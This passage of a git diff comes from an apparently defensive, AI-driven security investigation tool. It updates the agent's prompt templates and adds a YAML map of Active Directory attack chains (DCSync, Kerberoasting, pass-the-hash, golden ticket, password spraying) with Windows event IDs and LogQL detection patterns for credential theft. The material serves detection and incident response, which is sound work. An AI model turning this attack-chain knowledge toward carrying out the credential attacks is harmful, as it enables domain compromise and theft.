connect_grafana_mcp -from .investigation import InvestigationTools, QuestionEngineTools -from .mitre import MITRELookupTools -from .observability import LokiTools, PrometheusTools - -__all__ = [ - "GrafanaTools", - "InvestigationTools", - "LokiTools", - "MITRELookupTools", - "PrometheusTools", - "QuestionEngineTools", - "complete_investigation", - "connect_grafana_mcp", - "escalate_investigation", -] diff --git a/src/tools/actions.py b/src/tools/actions.py deleted file mode 100644 index f0402d73..00000000 --- a/src/tools/actions.py +++ /dev/null @@ -1,124 +0,0 @@ -"""Investigation completion and escalation actions.""" - -from datetime import datetime, timezone - -import dreadnode as dn -from loguru import logger - - -@dn.tool() # type: ignore[untyped-decorator] -async def complete_investigation( - summary: str, - attack_synopsis: str, - recommendations: list[str], - confidence: str, -) -> str: - """Complete the investigation and signal report generation. - - Call this when you have: - 1. A clear timeline of events - 2. Identified TTPs with MITRE mappings - 3. Assessed scope and blast radius - 4. Produced actionable intelligence - - Args: - summary: Executive summary (2-3 sentences). - attack_synopsis: Description of what happened. - recommendations: List of recommended actions. - confidence: Overall confidence level (high/medium/low with explanation). - - Returns: - Confirmation message. - - Example: - >>> await complete_investigation( - ... summary="Detected PowerShell-based reconnaissance on web-01. " - ... "Attack chain progressed to credential access.", - ... attack_synopsis="Attacker used PowerShell to enumerate Active Directory...", - ... recommendations=[ - ... "Rotate credentials for compromised accounts", - ... "Enable PowerShell script block logging", - ... "Review lateral movement paths" - ... ], - ... confidence="High - Multiple corroborating evidence items with MITRE mappings" - ... ) - 'Investigation completed. Report will be generated.' - - See Also: - escalate_investigation: For escalating to human analyst when needed. - """ - dn.log_metric("investigation_completed", 1) - dn.log_output( - "completion_summary", - { - "summary": summary, - "attack_synopsis": attack_synopsis, - "recommendations": recommendations, - "confidence": confidence, - }, - ) - - logger.success("Investigation completed") - - return "Investigation completed. Report will be generated." - - -@dn.tool() # type: ignore[untyped-decorator] -async def escalate_investigation( - reason: str, - severity: str, - current_findings: str, - immediate_actions: list[str], -) -> str: - """Escalate the investigation for human analyst review. - - Call this if: - - You identify an active, ongoing attack - - The scope exceeds investigation capacity - - You need human analyst intervention - - Critical infrastructure is at risk - - Args: - reason: Why escalation is needed. - severity: critical, high, or medium. - current_findings: Summary of what you've found so far. - immediate_actions: Actions that should be taken immediately. - - Returns: - Confirmation message. - - Example: - >>> await escalate_investigation( - ... reason="Active lateral movement detected across 15+ hosts", - ... severity="critical", - ... current_findings="Attacker has Domain Admin credentials and is actively " - ... "exfiltrating data from file servers.", - ... immediate_actions=[ - ... "Isolate compromised domain controller", - ... "Reset all privileged account passwords", - ... "Block C2 IP addresses at firewall" - ... ] - ... ) - 'Investigation escalated with severity=critical. Human analyst notified.' - - See Also: - complete_investigation: For normal investigation completion. - """ - dn.log_metric("investigation_escalated", 1) - dn.tag(f"escalation:{severity}") - dn.tag("needs_human_review") - - dn.log_output( - "escalation", - { - "reason": reason, - "severity": severity, - "findings": current_findings, - "immediate_actions": immediate_actions, - "escalated_at": datetime.now(timezone.utc).isoformat(), - }, - ) - - logger.warning(f"Investigation escalated: {reason}") - - return f"Investigation escalated with severity={severity}. Human analyst notified." diff --git a/templates/agent/initial_alert_prompt.md.jinja b/templates/agent/initial_alert_prompt.md.jinja index bd4a18a3..6c23cb89 100644 --- a/templates/agent/initial_alert_prompt.md.jinja +++ b/templates/agent/initial_alert_prompt.md.jinja @@ -1,24 +1,172 @@ ALERT RECEIVED - BEGIN INVESTIGATION -Alert Name: {{ alert_name }} -Severity: {{ severity }} -Instance: {{ instance }} -Job: {{ job }} -Started At: {{ starts_at }} +## Alert Details +- **Alert Name**: {{ alert_name }} +{% if labels.rulename and labels.rulename != alert_name %} +- **Original Rule**: {{ labels.rulename }} āš ļø THIS IS THE ACTUAL SECURITY ALERT +{% endif %} +- **Severity**: {{ severity }} +- **Instance**: {{ instance }} +- **Job**: {{ job }} +- **Alert Started At**: {{ starts_at }} āš ļø MAY BE STALE - SEE BELOW +- **Summary**: {{ summary }} +- **Description**: {{ description }} -Summary: {{ summary }} +{% if alert_name == 'DatasourceNoData' and labels.rulename %} +## āš ļø IMPORTANT: This is a Health Alert for a Security Rule āš ļø +This "DatasourceNoData" alert was generated because the **{{ labels.rulename }}** rule +could not evaluate (Loki returned no data). However, the security context (MITRE technique, +description) is from the original rule. -Description: {{ description }} +**INVESTIGATE**: {{ labels.rulename }} - NOT "DatasourceNoData" +{% endif %} -Full Alert Labels: {{ labels }} +## Full Alert Labels +{{ labels }} + +{% if mitre_technique %} +## āš ļø MITRE TECHNIQUE FROM ALERT āš ļø +**The alert has identified: {{ mitre_technique }}** +You MUST record this technique with record_evidence() and investigate it specifically. +This is the PRIMARY technique to investigate - do NOT ignore it. + +## šŸ” PRECURSOR INVESTIGATION REQUIRED šŸ” +**Attacks NEVER happen in isolation. You MUST investigate what came BEFORE.** + +When you call get_combined_questions(), you will receive PRECURSOR QUESTIONS. +These are HIGH PRIORITY and must be investigated to understand the full attack chain. + +**Common Precursors by Detected Technique:** + +{% if 'DCSync' in mitre_technique or 'T1003.006' in mitre_technique %} +**For DCSync (T1003.006), investigate:** +1. ☐ User enumeration (T1087) - LDAP queries for users +2. ☐ Share enumeration (T1135) - Access to SYSVOL, NETLOGON +3. ☐ Password guessing (T1110) - Failed logons (Event 4625) +4. ☐ Credential theft (T1039) - Files accessed on shares +5. ☐ Host discovery (T1018) - DNS queries, ping sweeps +{% endif %} + +{% if 'Kerberoast' in mitre_technique or 'T1558.003' in mitre_technique %} +**For Kerberoasting (T1558.003), investigate:** +1. ☐ SPN enumeration (T1087.002) - Queries for servicePrincipalName +2. ☐ User enumeration (T1087) - Discovery of service accounts +3. ☐ TGS requests (Event 4769) - Especially with RC4 encryption +{% endif %} + +{% if 'Pass' in mitre_technique or 'T1550' in mitre_technique %} +**For Pass-the-Hash/Ticket, investigate:** +1. ☐ Credential dumping (T1003) - LSASS access, SAM dumps +2. ☐ Lateral movement sources - Where did credentials come from? +{% endif %} + +**General Precursor Checklist:** +- ☐ Check for authentication failures 24-48 hours before the attack +- ☐ Check for share access from the source IP/user +- ☐ Check for enumeration activity (LDAP, DNS, SMB) +- ☐ Identify ALL users who interacted with the source system +- ☐ Identify ALL hosts the attacker communicated with +{% endif %} --- -1. First, call get_combined_questions() to generate initial questions -2. Parse the alert to understand what triggered it -3. Query Loki/Prometheus to gather initial evidence around the alert time -4. Record all evidence with record_evidence() -5. Continue following the question engines' guidance +## 🚨 CRITICAL: USE THESE EXACT TIME VALUES 🚨 + +**CURRENT TIME**: {{ current_time }} +**QUERY START (1h ago)**: {{ current_time_minus_1h }} +**QUERY START (2h ago)**: {{ current_time_minus_2h }} + +The alert's `startsAt` ({{ starts_at }}) may be HOURS or DAYS old. +**DO NOT** query around the alert timestamp. +**DO** query from {{ current_time_minus_2h }} to {{ current_time }}. + +--- + +## MANDATORY FIRST STEP + +You MUST run this query FIRST before doing anything else: + +{% set effective_alert_name = labels.rulename if (alert_name == 'DatasourceNoData' and labels.rulename) else alert_name %} +{% set search_term = effective_alert_name.split(':')[-1].strip().split()[0] if ':' in effective_alert_name else effective_alert_name.split()[0] %} +``` +mcp__grafana__query_loki_logs( + datasourceUid="", + logql="{deployment=~\".+\"} |= \"{{ search_term }}\"", + startRfc3339="{{ current_time_minus_2h }}", + endRfc3339="{{ current_time }}", + limit=100 +) +``` +{% if alert_name == 'DatasourceNoData' and labels.rulename %} +**NOTE**: Searching for "{{ search_term }}" (from rulename: {{ labels.rulename }}) +{% endif %} + +If no results, try broader queries but ALWAYS use the time range above. + +**CRITICAL**: After EVERY query (whether it returns results or not), you MUST: +1. If results found: Call record_evidence() for EACH user/host/IP/process/finding +2. If NO results: Document this and either try a broader query OR move forward with get_combined_questions() +3. DO NOT query multiple times without calling record_evidence() or get_combined_questions() + +**YOU ARE STUCK IN A LOOP IF**: You make 3+ queries without calling record_evidence() or get_combined_questions() + +--- + +## Target Scope Extraction + +{% if labels.deployment %} +- **Deployment**: `{{ labels.deployment }}` - FILTER ALL QUERIES with `{deployment="{{ labels.deployment }}"}` +{% endif %} +{% if labels.instance %} +- **Instance**: {{ labels.instance }} +{% endif %} +{% if labels.host or labels.hostname %} +- **Host**: {{ labels.host or labels.hostname }} +{% endif %} +{% if labels.ip or labels.src_ip or labels.dest_ip %} +- **IP**: {{ labels.ip or labels.src_ip or labels.dest_ip }} +{% endif %} +{% if labels.user or labels.username or labels.account %} +- **User**: {{ labels.user or labels.username or labels.account }} +{% endif %} + +--- + +## Investigation Checklist + +### Stage 1: TRIAGE +1. ☐ Run mcp__grafana__list_datasources to find Loki datasource UID +2. ☐ Query RECENT logs ({{ current_time_minus_2h }} to {{ current_time }}) +3. ☐ Record evidence with record_evidence() for each finding +{% if mitre_technique %} +4. ☐ Record the alert's MITRE technique: {{ mitre_technique }} +{% endif %} +5. ☐ Call track_host_investigation() for each affected host +6. ☐ Call track_user_investigation() for each affected user +7. ☐ Call get_combined_questions() to get PRECURSOR QUESTIONS + +### Stage 2: CAUSATION (PRECURSOR INVESTIGATION - CRITICAL!) +8. ☐ Investigate PRECURSOR techniques (what came BEFORE the attack) +9. ☐ Query for authentication failures (Event 4625) - password spray/brute force +10. ☐ Query for share access (Event 5140/5145) - SYSVOL/NETLOGON pilfering +11. ☐ Query for enumeration (Event 4662) - user/group/host discovery +12. ☐ Expand time windows BACKWARDS (up to 24-48 hours before attack) +13. ☐ Build timeline with add_timeline_event() for EACH precursor +14. ☐ Call transition_stage("lateral") + +### Stage 3: LATERAL (SCOPE INVESTIGATION) +15. ☐ Identify ALL compromised accounts (not just those in alert) +16. ☐ Identify ALL affected hosts (including discovered DCs) +17. ☐ Check for lateral movement from initial compromise +18. ☐ Call transition_stage("synthesis") + +### Stage 4: SYNTHESIS +19. ☐ Call complete_investigation() with ALL required fields -Remember: Execute queries in PARALLEL when they are independent. -The goal is to reach TTPs (Pyramid level 6), not just collect IOCs. +**DO NOT complete the investigation until you have:** +- Identified specific affected hosts (including ALL domain controllers) +- Identified ALL compromised user accounts +- Investigated precursor techniques (enumeration, credential access) +- Created a complete timeline from initial access to detected attack +- Recorded at least 5 evidence items covering the full attack chain +- Mapped the attack to multiple MITRE techniques (not just the alert technique) diff --git a/templates/agent/system_instructions.md.jinja b/templates/agent/system_instructions.md.jinja index a1039411..8f073c9a 100644 --- a/templates/agent/system_instructions.md.jinja +++ b/templates/agent/system_instructions.md.jinja @@ -4,40 +4,96 @@ question-driven investigation. ## Core Investigation Philosophy -You are driven by TWO QUESTION ENGINES that must guide your every action: +You are driven by FOUR QUESTION ENGINES that must guide your every action: -### 1. MITRE ATT&CK Navigator (generate_mitre_questions) +### 1. PRECURSOR ATTACK CHAIN (HIGHEST PRIORITY) +- When you detect a technique, ALWAYS ask: "What came BEFORE this?" +- Attacks don't happen in isolation - there's ALWAYS a chain +- Example: DCSync (T1003.006) is NEVER the first thing an attacker does +- Look for: enumeration, credential access, share pilfering, brute force +- The get_combined_questions() tool will generate precursor questions automatically + +### 2. MITRE ATT&CK Navigator (generate_mitre_questions) - Maps evidence to techniques - Predicts what techniques might follow - Identifies tactical gaps ("we haven't checked for persistence yet") - Ensures complete attack lifecycle coverage -### 2. Pyramid of Pain Climber (generate_pyramid_questions) +### 3. Pyramid of Pain Climber (generate_pyramid_questions) - Classifies evidence by how "painful" it is for adversaries to change - Always pushes you from trivial indicators (hashes, IPs) toward TTPs - The goal is NOT to collect IOCs - it's to understand BEHAVIOR +### 4. Detection Recipes (Windows Security Events) +- Provides specific Windows Event IDs to search for +- Includes LogQL query patterns for common attack patterns +- Structured investigation steps for each attack type + **PRIME DIRECTIVE**: After every batch of evidence, call get_combined_questions() -and let those questions guide your next actions. +and let those questions guide your next actions. PRECURSOR QUESTIONS ARE HIGHEST PRIORITY. ## Investigation Workflow ### Stage 1: TRIAGE (WHAT is happening?) -1. Parse the alert payload -2. Call get_combined_questions() for initial questions -3. Execute PARALLEL queries to Loki/Prometheus to answer questions -4. Call record_evidence() for each finding -5. Call get_combined_questions() again -6. Repeat until you understand WHAT triggered the alert -7. Call transition_stage("causation") - -### Stage 2: CAUSATION (WHY did it happen?) -1. Call get_combined_questions() for causation questions -2. Expand time windows to find precursor events -3. Execute PARALLEL queries to trace back in time -4. Build timeline with add_timeline_event() -5. Continue until you understand the attack chain -6. Call transition_stage("lateral") + +**🚨 CRITICAL - USE TIME VALUES FROM INITIAL PROMPT 🚨** + +The alert's `startsAt` timestamp is likely STALE. The initial prompt provides: +- CURRENT_TIME: Use this as endRfc3339 +- CURRENT_TIME_MINUS_1H / MINUS_2H: Use these as startRfc3339 + +**DO NOT** use the alert's startsAt for queries. +**DO** use the exact timestamps provided in the initial prompt. + +**🚨 MANDATORY WORKFLOW - DO NOT SKIP STEPS 🚨** + +1. **FIRST**: Run mcp__grafana__list_datasources to get Loki datasource UID +2. **SECOND**: Query RECENT logs using time values from initial prompt +3. **IMMEDIATELY AFTER QUERY**: Extract usernames, hostnames, IPs from the results +4. **MANDATORY**: Call record_evidence() for EACH finding with MITRE technique if known + - If query returns results: record_evidence() for EACH user/host/IP/process found + - If query returns EMPTY: Document this and try a broader query OR move forward + - DO NOT make multiple queries without calling record_evidence() in between +5. Call track_host_investigation() for each host found +6. Call track_user_investigation() for each user found +7. Call get_combined_questions() for follow-up questions +8. Repeat until you understand WHAT triggered the alert +9. Call transition_stage("causation") + +**ANTI-PATTERN - DO NOT DO THIS:** +- āŒ Query logs → Query logs → Query logs → Query logs (NO EVIDENCE RECORDED) +- āŒ Querying the same data multiple times without recording findings +- āŒ Getting stuck trying to find "perfect" data before recording anything + +**CORRECT PATTERN:** +- āœ… Query logs → record_evidence() for findings → Query logs → record_evidence() → get_combined_questions() +- āœ… Query returns empty → Document this → Try broader query OR call get_combined_questions() +- āœ… Making progress through the investigation stages + +### Stage 2: CAUSATION (WHY did it happen? What came BEFORE?) + +**THIS IS THE MOST CRITICAL STAGE - DON'T SKIP PRECURSOR INVESTIGATION** + +1. Call get_combined_questions() - PRECURSOR QUESTIONS will be highest priority +2. For EACH precursor question, investigate: + - **Authentication failures** (Event 4625): Password spraying, brute force + - **Share access** (Event 5140/5145): SYSVOL, NETLOGON pilfering + - **LDAP queries** (Event 4662): User/group/computer enumeration + - **Kerberos events** (Event 4768/4769): AS-REP roasting, Kerberoasting +3. Expand time windows BACKWARDS (hours or days before the detected attack) +4. Build timeline with add_timeline_event() for EACH precursor event +5. Track ALL users discovered with track_user_investigation() +6. Track ALL hosts discovered with track_host_investigation() +7. Continue until you've mapped the COMPLETE attack chain from initial access +8. Call transition_stage("lateral") + +**COMMON PRECURSOR PATTERNS:** +- Before DCSync: enumeration (T1087), share access (T1135), credential theft (T1039) +- Before Lateral Movement: credential dumping (T1003), valid accounts (T1078) +- Before Persistence: initial access (T1078), privilege escalation (T1068) + +**DO NOT skip this stage. If you only detect the final attack without precursors, +your investigation is INCOMPLETE.** ### Stage 3: LATERAL (What is the SCOPE?) 1. Call get_combined_questions() for scope questions @@ -79,14 +135,97 @@ Example - BAD (sequential): You write your own LogQL and PromQL queries. NO templates. Use your knowledge of these query languages. -LogQL examples: -- {job="syslog", hostname="X"} |= "error" | json +**LogQL Syntax Rules (CRITICAL - avoid parse errors):** + +1. Start with label matchers in curly braces: {job="value"} +2. Line filters use |= != |~ !~ operators: + - āœ… {job="syslog"} |= "error" + - āŒ {job="syslog"} = "error" (wrong operator) + - āŒ {job="syslog"} "error" (missing operator) +3. Parser expressions use | json, | logfmt, | pattern: + - āœ… {job="app"} | json | status="500" + - āŒ {job="app"} json (missing pipe) +4. Avoid empty-compatible regex: + - āœ… {app=~".+"} + - āŒ {app=~".*"} + +**Valid LogQL examples:** +- {job="syslog", hostname="web-01"} |= "error" - {namespace="prod"} | json | status >= 400 - {job="auth"} |~ "(?i)failed|denied" +- {app=~"web-.+"} != "healthcheck" | json -PromQL examples: +**PromQL examples:** - rate(http_requests_total{status=~"5.."}[5m]) -- node_cpu_seconds_total{instance="X:9100"} +- node_cpu_seconds_total{instance="web-01:9100"} + +## Windows Security Event Detection (CRITICAL FOR AD ATTACKS) + +When investigating Active Directory attacks, you MUST query for these Windows Security Events: + +### Authentication Events (Brute Force, Password Spray) +- **Event 4625** - Failed logon (password spray, brute force) + ``` + {job=~".*"} |~ "(?i)4625" |~ "(?i)(failure|failed)" + ``` +- **Event 4624** - Successful logon (track after failures) + ``` + {job=~".*"} |= "4624" |~ "(?i)logon" + ``` +- **Event 4771** - Kerberos pre-auth failed +- **Event 4776** - NTLM credential validation + +### Share Access Events (Credential Pilfering) +- **Event 5140** - Network share accessed + ``` + {job=~".*"} |~ "(?i)5140" |~ "(?i)(sysvol|netlogon)" + ``` +- **Event 5145** - Detailed share object access + ``` + {job=~".*"} |~ "(?i)5145" + ``` + +### Enumeration Events (Reconnaissance) +- **Event 4662** - AD object access (LDAP queries, DCSync) + ``` + {job=~".*"} |= "4662" + ``` +- **Event 4661** - SAM handle request + +### Kerberos Events (Ticket Attacks) +- **Event 4768** - TGT requested (Golden ticket, AS-REP roasting) +- **Event 4769** - TGS requested (Kerberoasting, Silver ticket) + ``` + {job=~".*"} |~ "(?i)4769" |~ "(?i)(0x17|RC4)" + ``` + +### Privilege Events +- **Event 4672** - Special privileges assigned +- **Event 4648** - Explicit credential logon (pass-the-hash) + +**DETECTION PATTERNS:** + +1. **Password Spray Detection:** + - Multiple distinct users (5+) with Event 4625 + - Same source IP + - Short time window (<30 minutes) + ``` + {job=~".*"} |= "4625" | json | line_format "{% raw %}{{.IpAddress}} {{.TargetUserName}}{% endraw %}" + ``` + +2. **Share Pilfering Detection:** + - Event 5140 with ShareName containing SYSVOL or NETLOGON + - Non-administrator accounts accessing these shares + ``` + {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)(sysvol|netlogon)" + ``` + +3. **User Enumeration Detection:** + - Bulk LDAP queries (Event 4662) + - Queries for objectClass=user or servicePrincipalName + ``` + {job=~".*"} |~ "(?i)(objectclass=user|serviceprincipalname)" + ``` ## Grafana MCP Tools (Enhanced Querying) diff --git a/templates/engines/attack_chains.yaml b/templates/engines/attack_chains.yaml new file mode 100644 index 00000000..adc968ec --- /dev/null +++ b/templates/engines/attack_chains.yaml @@ -0,0 +1,506 @@ +# Attack Chain Definitions +# Maps detected techniques to their common precursors and indicators +# +# When a technique is detected, the blue team should investigate: +# 1. precursors: Techniques that typically come BEFORE this one +# 2. windows_events: Windows Security Event IDs to search for +# 3. log_patterns: LogQL query patterns for detection +# 4. investigation_questions: Specific questions to ask + +--- +# DCSync - Domain Credential Dumping +T1003.006: + name: "DCSync" + description: "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's replication mechanism." + + precursors: + # Reconnaissance typically comes first + - technique: "T1087" + name: "Account Discovery" + relationship: "usually_precedes" + relevance: 0.95 + rationale: "Attackers enumerate accounts to identify high-value targets before DCSync" + + - technique: "T1087.002" + name: "Domain Account Discovery" + relationship: "usually_precedes" + relevance: 0.98 + rationale: "Domain account enumeration is almost always performed before credential theft" + + - technique: "T1135" + name: "Network Share Discovery" + relationship: "usually_precedes" + relevance: 0.85 + rationale: "Attackers often enumerate shares looking for credentials or sensitive data" + + - technique: "T1018" + name: "Remote System Discovery" + relationship: "usually_precedes" + relevance: 0.90 + rationale: "Attackers discover domain controllers and other high-value targets" + + - technique: "T1046" + name: "Network Service Scanning" + relationship: "usually_precedes" + relevance: 0.80 + rationale: "Port scanning to identify services like LDAP, Kerberos, RPC" + + # Credential Access precursors + - technique: "T1110" + name: "Brute Force" + relationship: "usually_precedes" + relevance: 0.85 + rationale: "Password guessing to obtain initial access credentials" + + - technique: "T1110.003" + name: "Password Spraying" + relationship: "usually_precedes" + relevance: 0.90 + rationale: "Common technique to avoid lockouts while guessing passwords" + + - technique: "T1039" + name: "Data from Network Shared Drive" + relationship: "usually_precedes" + relevance: 0.80 + rationale: "Pilfering credentials from SYSVOL/NETLOGON shares" + + - technique: "T1552.006" + name: "Group Policy Preferences" + relationship: "usually_precedes" + relevance: 0.75 + rationale: "GPP passwords often stored in SYSVOL shares" + + # Privilege Escalation + - technique: "T1068" + name: "Exploitation for Privilege Escalation" + relationship: "sometimes_precedes" + relevance: 0.60 + rationale: "May need elevated privileges to perform DCSync" + + windows_events: + - event_id: 4625 + name: "Failed Logon" + relevance: 0.90 + description: "Look for failed authentication attempts indicating brute force" + query_pattern: "EventID=4625" + + - event_id: 4624 + name: "Successful Logon" + relevance: 0.85 + description: "Track successful logons from suspicious sources" + query_pattern: "EventID=4624" + + - event_id: 5140 + name: "Network Share Access" + relevance: 0.85 + description: "Access to SYSVOL/NETLOGON shares" + query_pattern: "EventID=5140 AND (ShareName=*SYSVOL* OR ShareName=*NETLOGON*)" + + - event_id: 5145 + name: "Network Share Object Access" + relevance: 0.80 + description: "Detailed file access on shares" + query_pattern: "EventID=5145" + + - event_id: 4662 + name: "AD Object Access" + relevance: 0.95 + description: "DCSync replication requests" + query_pattern: "EventID=4662 AND Properties=*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" + + - event_id: 4768 + name: "Kerberos TGT Request" + relevance: 0.70 + description: "AS-REQ for initial ticket" + query_pattern: "EventID=4768" + + - event_id: 4769 + name: "Kerberos Service Ticket" + relevance: 0.70 + description: "TGS-REQ for service tickets" + query_pattern: "EventID=4769" + + - event_id: 4776 + name: "NTLM Authentication" + relevance: 0.75 + description: "Credential validation events" + query_pattern: "EventID=4776" + + log_patterns: + - name: "Failed authentication pattern" + pattern: | + {job=~".*"} |~ "(?i)(failed|failure|denied|invalid)" |~ "(?i)(login|logon|auth|password)" + description: "Detect authentication failures indicating brute force" + + - name: "LDAP enumeration pattern" + pattern: | + {job=~".*"} |~ "(?i)ldap" |~ "(?i)(query|search|bind)" + description: "Detect LDAP queries used for enumeration" + + - name: "Share access pattern" + pattern: | + {job=~".*"} |~ "(?i)(sysvol|netlogon)" |~ "(?i)(access|connect|read)" + description: "Detect access to privileged shares" + + - name: "User enumeration pattern" + pattern: | + {job=~".*"} |~ "(?i)(samaccountname|userprincipalname|memberof)" + description: "Detect AD user attribute queries" + + investigation_questions: + - question: "Were there any failed authentication attempts from the source IP in the past 24 hours?" + priority: 0.95 + target_technique: "T1110" + + - question: "Which users were enumerated from the source IP before the DCSync attempt?" + priority: 0.95 + target_technique: "T1087.002" + + - question: "Were SYSVOL or NETLOGON shares accessed from the source IP?" + priority: 0.90 + target_technique: "T1039" + + - question: "What other hosts did the source IP communicate with?" + priority: 0.85 + target_technique: "T1018" + + - question: "Were any credentials found in accessed shares?" + priority: 0.90 + target_technique: "T1552.006" + +# Kerberoasting +T1558.003: + name: "Kerberoasting" + description: "Adversaries may abuse Kerberos to request service tickets for service accounts." + + precursors: + - technique: "T1087.002" + name: "Domain Account Discovery" + relationship: "usually_precedes" + relevance: 0.95 + rationale: "SPN enumeration to find kerberoastable accounts" + + - technique: "T1069.002" + name: "Domain Groups" + relationship: "usually_precedes" + relevance: 0.85 + rationale: "Enumerate groups to find privileged service accounts" + + - technique: "T1018" + name: "Remote System Discovery" + relationship: "usually_precedes" + relevance: 0.80 + rationale: "Identify domain controllers and services" + + windows_events: + - event_id: 4769 + name: "Kerberos Service Ticket Request" + relevance: 0.95 + description: "TGS requests with RC4 encryption indicate Kerberoasting" + query_pattern: "EventID=4769 AND TicketEncryptionType=0x17" + + - event_id: 4625 + name: "Failed Logon" + relevance: 0.80 + description: "Failed auth before Kerberoasting" + query_pattern: "EventID=4625" + + investigation_questions: + - question: "Were there bulk TGS requests from the source for service accounts?" + priority: 0.95 + target_technique: "T1558.003" + + - question: "Were SPNs enumerated before the Kerberoasting attempt?" + priority: 0.90 + target_technique: "T1087.002" + +# AS-REP Roasting +T1558.004: + name: "AS-REP Roasting" + description: "Adversaries may obtain hashes for accounts without Kerberos pre-authentication." + + precursors: + - technique: "T1087.002" + name: "Domain Account Discovery" + relationship: "usually_precedes" + relevance: 0.95 + rationale: "Enumerate accounts without pre-auth required" + + windows_events: + - event_id: 4768 + name: "Kerberos TGT Request" + relevance: 0.95 + description: "AS-REQ without pre-auth" + query_pattern: "EventID=4768 AND PreAuthType=0" + +# Pass the Hash +T1550.002: + name: "Pass the Hash" + description: "Adversaries may use stolen password hashes to authenticate." + + precursors: + - technique: "T1003" + name: "OS Credential Dumping" + relationship: "usually_precedes" + relevance: 0.95 + rationale: "Must obtain hashes before passing them" + + - technique: "T1003.001" + name: "LSASS Memory" + relationship: "usually_precedes" + relevance: 0.90 + rationale: "Common source of NTLM hashes" + + windows_events: + - event_id: 4624 + name: "Successful Logon" + relevance: 0.90 + description: "Type 9 (NewCredentials) logon with NTLM" + query_pattern: "EventID=4624 AND LogonType=9 AND AuthenticationPackageName=NTLM" + + - event_id: 4648 + name: "Explicit Credential Logon" + relevance: 0.85 + description: "Logon with alternate credentials" + query_pattern: "EventID=4648" + +# Golden Ticket +T1558.001: + name: "Golden Ticket" + description: "Adversaries may forge Kerberos TGTs to gain persistent access." + + precursors: + - technique: "T1003.006" + name: "DCSync" + relationship: "usually_precedes" + relevance: 0.95 + rationale: "Need krbtgt hash to forge golden ticket" + + - technique: "T1003" + name: "OS Credential Dumping" + relationship: "usually_precedes" + relevance: 0.90 + rationale: "Need to extract krbtgt hash" + + windows_events: + - event_id: 4768 + name: "Kerberos TGT Request" + relevance: 0.90 + description: "TGT with suspicious lifetime or SID" + query_pattern: "EventID=4768" + + - event_id: 4769 + name: "Kerberos Service Ticket" + relevance: 0.85 + description: "Service ticket from forged TGT" + query_pattern: "EventID=4769" + +# Brute Force +T1110: + name: "Brute Force" + description: "Adversaries may use brute force to obtain account credentials." + + follow_on: + - technique: "T1078" + name: "Valid Accounts" + relationship: "usually_follows" + relevance: 0.95 + rationale: "Successful brute force leads to valid credential usage" + + - technique: "T1021" + name: "Remote Services" + relationship: "usually_follows" + relevance: 0.90 + rationale: "Use compromised credentials for lateral movement" + + windows_events: + - event_id: 4625 + name: "Failed Logon" + relevance: 0.98 + description: "Multiple failures indicate brute force" + query_pattern: "EventID=4625" + threshold: "10+ failures from same source in 10 minutes" + + - event_id: 4771 + name: "Kerberos Pre-Auth Failure" + relevance: 0.90 + description: "Kerberos authentication failures" + query_pattern: "EventID=4771" + + detection_patterns: + password_spray: + description: "Multiple accounts, same password, short timeframe" + pattern: "Count distinct TargetUserName > 5 within 10 minutes from same source" + + credential_stuffing: + description: "Same username, multiple passwords, short timeframe" + pattern: "Count EventID=4625 where TargetUserName=X > 10 within 5 minutes" + +# Password Spraying (sub-technique) +T1110.003: + name: "Password Spraying" + description: "Adversaries may try one password against many accounts." + + windows_events: + - event_id: 4625 + name: "Failed Logon" + relevance: 0.98 + description: "Many accounts, few failures per account" + query_pattern: "EventID=4625" + detection_logic: | + - Multiple target accounts (>5) + - Few failures per account (1-3) + - Same source IP or workstation + - Short time window (<30 minutes) + + investigation_questions: + - question: "Were the same password(s) tried against multiple accounts?" + priority: 0.95 + + - question: "Did any of the sprayed accounts succeed in authentication?" + priority: 0.95 + +# Network Share Discovery +T1135: + name: "Network Share Discovery" + description: "Adversaries may look for shared folders on remote systems." + + follow_on: + - technique: "T1039" + name: "Data from Network Shared Drive" + relationship: "usually_follows" + relevance: 0.90 + rationale: "After discovering shares, attackers access them" + + - technique: "T1552.006" + name: "Group Policy Preferences" + relationship: "sometimes_follows" + relevance: 0.75 + rationale: "May look for GPP passwords in SYSVOL" + + windows_events: + - event_id: 5140 + name: "Network Share Access" + relevance: 0.90 + description: "Share enumeration via SMB" + query_pattern: "EventID=5140" + + - event_id: 5145 + name: "Detailed Share Access" + relevance: 0.85 + description: "File-level share access audit" + query_pattern: "EventID=5145" + +# Account Discovery +T1087: + name: "Account Discovery" + description: "Adversaries may attempt to get a listing of accounts on a system." + + follow_on: + - technique: "T1110" + name: "Brute Force" + relationship: "usually_follows" + relevance: 0.85 + rationale: "Use discovered accounts for credential attacks" + + - technique: "T1078" + name: "Valid Accounts" + relationship: "sometimes_follows" + relevance: 0.70 + rationale: "Target discovered privileged accounts" + + windows_events: + - event_id: 4661 + name: "SAM Handle Request" + relevance: 0.80 + description: "Direct SAM database access" + query_pattern: "EventID=4661" + + - event_id: 4662 + name: "AD Object Access" + relevance: 0.85 + description: "LDAP queries for user objects" + query_pattern: "EventID=4662 AND ObjectType=*User*" + +# Domain Account Discovery (sub-technique) +T1087.002: + name: "Domain Account Discovery" + description: "Adversaries may enumerate domain accounts." + + windows_events: + - event_id: 4662 + name: "AD Object Access" + relevance: 0.90 + description: "LDAP enumeration of domain accounts" + query_pattern: "EventID=4662" + + log_patterns: + - name: "LDAP user query" + pattern: | + {job=~".*"} |~ "(?i)(&(objectClass=user)|(objectCategory=person))" + description: "LDAP filter for user enumeration" + + - name: "Net user domain commands" + pattern: | + {job=~".*"} |~ "net.*user.*/domain" + description: "net user /domain command execution" + +# Remote System Discovery +T1018: + name: "Remote System Discovery" + description: "Adversaries may attempt to get a listing of systems within a network." + + follow_on: + - technique: "T1021" + name: "Remote Services" + relationship: "usually_follows" + relevance: 0.85 + rationale: "Use discovered systems for lateral movement" + + - technique: "T1046" + name: "Network Service Scanning" + relationship: "sometimes_precedes" + relevance: 0.75 + rationale: "Detailed service enumeration of discovered hosts" + + log_patterns: + - name: "DNS queries for AD records" + pattern: | + {job=~".*"} |~ "(?i)(_ldap|_kerberos|_gc).*_tcp" + description: "SRV record queries for AD services" + + - name: "Ping sweeps" + pattern: | + {job=~".*"} |~ "(?i)icmp" |~ "(?i)(request|reply)" + description: "ICMP ping sweep activity" + +# Lateral Movement - Remote Services +T1021: + name: "Remote Services" + description: "Adversaries may use remote services to move laterally." + + precursors: + - technique: "T1078" + name: "Valid Accounts" + relationship: 